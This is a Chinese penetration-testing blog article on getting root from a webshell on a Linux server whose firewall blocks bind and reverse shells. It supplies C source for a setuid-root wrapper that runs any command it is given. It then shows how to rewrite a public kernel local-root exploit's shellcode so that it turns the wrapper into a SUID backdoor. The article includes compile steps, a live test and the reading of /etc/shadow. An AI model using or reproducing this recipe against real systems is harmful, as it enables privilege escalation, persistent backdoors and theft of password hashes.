简单实现webshell root
——渗透测试中,绕过防火墙限制,在webshell中实现权限提升后
以root权限执行任意系统命令的简单实现(Linux Server)
作者:Beach
微安全- 新浪微博安全组技术博客 首发,转载请注明出处
目录:
[1] 应用背景
[2] 实现思路
[3] 实现细节
[4] 实际应用
[1].应用背景
web安全测试人员在黑盒测试(渗透测试)中,经常会碰到一种场景(本文以LAMP组合为例):通过一种或多种web应用的安全缺陷,综合的分析利用后,获取到整个web业务的控制权(此时权限通常是启动Apache的用户权限,如apache,nobody,daemon等,这里假设用户是apache),当尝试进行权限提升获取web server的最高权限(root)时,由于Linux权限提升最常用也是成功率最高的办法就是利用系统存在的漏洞进行本地溢出攻击获取root权限,而这种本地溢出攻击如果成功都是返回一个rootshell,因此必须在一个交互式的系统shell中进行,所以在渗透人员进行权限提升之前为了得到一个交互式的系统shell,通常的做法有2种:
1)正向连接获取系统shell
在webshell(集成多种功能于一身的web后门)中上传一个文件到受害主机的文件系统
中,通常是perl,python脚本或二进制文件(如NetCat),这个文件的功能就是用于把系统shell
重定向到一个端口,并进行监听,等待连接,当渗透测试人员远程连接到这个端口,就会获
取受害主机的系统shell,此时渗透测试人员便可以尝试进一步的权限提升等操作。
2)反向连接获取系统shell
反向连接即是渗透测试人员在本地监听一个端口,等待连接,之后在受害主机上执行一个
连向渗透人员主机所监听的端口的程序,并把受害主机的系统shell重定向,此时渗透测试
人员便可以尝试进一步的权限提升等操作。
2种方式的弊端:
正向连接这种方法的弊端显而易见,如果受害主机所在于内网,通过NAT把80端口映射到
外网,那么这种方法就没用了。或者其直接暴露在外网,但防火墙只允许外部连接几个特定
的服务端口,这种情况正向连接的方法也是不可行的。
所以,渗透人员通常会用反向连接的办法反弹一个受害主机的shell到本地,就可以绕过以
上的几种情况,因为防火墙一般情况不会对内部主机向外部的连接做限制,这也属于一种安
全意识上的疏忽,那么如果对方安全人员安全意识较高,在防火墙配置把内部主机向外部的连接也做了限制,从而使反向连接的办法也无法使用的时候该如何进行权限提升呢?这种情况在渗透测试中也是会经常遇到的,这就是本文所讨论的场景。
[2].实现思路
下面分析一下我们的需求。首先,既不能在受害主机本地监听端口等待连接,也不能在受害主机运行反弹程序向外部发起连接。这样索性就抛开网络的层面,把实现环境定位在webshell中。那么,webshell中又是不可交互的,而本地溢出攻击在成功后都是返回一个rootshell,所以必须在交互式shell中进行,但是我们进行权限提升的最终目的是什么呢?
不是为了得到一个交互式的rootshell,目的是为了以root权限执行任意系统命令!如果是在webshell中需要什么条件才能得到这个可以以root权限执行系统命令的程序呢?这里关键点有2个:
1.要在webshell中进行提升权限,并且避开交互式操作。
2.权限提升后要获得一个可以执行系统命令的程序,并且拥有root权限。
综合以上2点,我们可以推导出,我们需要一个可以接收一个参数,并把这个参数当做系统命令来执行的一个程序,这用C很容易实现。然后,在webshell中进行本地溢出的时
候,我们不需要exploit返回一个rootshell,而是需要把我们可以执行系统命令的程序赋以root权限的操作,这里注意,不要忘记webshell执行命令是以apache进程的用户权限执行,那么在执行这个程序的时候又要以root权限,这时我想到了SUID后门,这样思路就很清晰了,下面开始进行具体的实现。
[3].实现细节
我的思路是这样的,首先写好一个C程序,功能是接收一个参数,并把其当做系统命令执行,很简单,代码如下:
————————-code begin—————————-
#include <stdio.h>
int main(int argc,char *argv[]){
setuid(0);
setgid(0);
system(argv[1]);
return (0);
}
————————–code end—————————–
为什么要加setuid(0);setgid(0);呢?因为webshell是继承apache的权限来执行系统命令,
那么在webshell中执行suid程序,如果不加setuid(0),虽然是一个owner为root的suid程序,但它仍会继承apache的权限,那么系统命令依然会是以Apache的权限来执行。
然后用gcc编译一下:
[beach@linux520 ~]$ gcc cmd.c -o cmd
[beach@linux520 ~]$ ls -l
-rwxr-xr-x 1 beach beach 7080 Jun 3 00:00 cmd
-rwxr-xr-x 1 beach beach 7080 Jun 3 00:00 cmd.c
[beach@linux520 ~]$ ./cmd id
uid=500(beach) gid=500(beach) groups=500(beach)
没有问题,然后我们要做的是修改exploit的shellcode部分,这里就是关键,通常local root exploit的shellcode部分类似这种语句:
execl(“/bin/sh”, “/bin/sh”, NULL);
即获取root权限后启动一个系统shell,这里我们删除它,改成我们想要的操作:
system(“chown root:root cmd”);
system(“chmod 4755 cmd”);
这样就把我们的cmd设置成了一个类似SUID后门的程序,之后编译这个exploit的C文件,执行之,查看一下文件属性:
[beach@linux520 ~]$ ls -l
total 16
-rwsr-xr-x 1 root root 7080 Jun 3 00:00 cmd
-rw-r–r– 1 beach beach 109 Jun 3 00:00 cmd.c
-rw-r–r– 1 beach beach 2619 Jun 3 00:00 exploit.c
-rwxr-xr-x 1 beach beach 234 Jun 3 00:00 exploit
没有问题,执行一下试试:
[beach@linux520 ~]$ ./cmd id
uid=0(root) gid=0(root) groups=500(beach)
OK,搞定。以上操作完全可以在webshell完成,那么这样就实现了我们想要的——在webshell中进行权限提升并创建了一个可以以root权限执行任意系统命令的suid程序。
[4].实际应用
下面到一个真实的环境测试一下。
首先找来一个webshell ,当前用户wwwrun,uid=33,所属组www,gid=8
查看一下内核版本信息:
内核是2.6.18的 x86系统,然后看下gcc是否可用:
可以使用,下面找来一个Local root的exploit,我选择的是一个存在于内核2.6.18—2.6.20
的本地溢出exploit,源码可在http://www.exploit-db.com/exploits/10613/ 下载。
然后修改其shellcode部分,把文件第172和173行的
execl(“/bin/bash”, “bash”, “-i”, NULL);
die(“/bin/bash”, errno);
改为:
system(“chown root:root ./cmd”);
system(“chmod 4755 ./cmd”);
然后把cmd.c和修改过的exploit.c通过webshell上传到受害主机的web目录下,之后编译
成二进制文件:
执行exploit后,查看cmd文件属性是否发生改变:
没问题,和所期望的一样,文件权限改为了4755,并且owner是root:root
下面执行系统命令,测试效果:
嗯 ,uid=0 gid=0
再看下是否能读取只有root权限可读的shadow文件
shadow文件读取正常,实际环境测试成功。
这样,webshell root就非常简单的得以实现了,由于此种方法完全避开了网络层,
所以无论是iptables还是硬件防火墙都和我们无关,不会受到任何影响。
|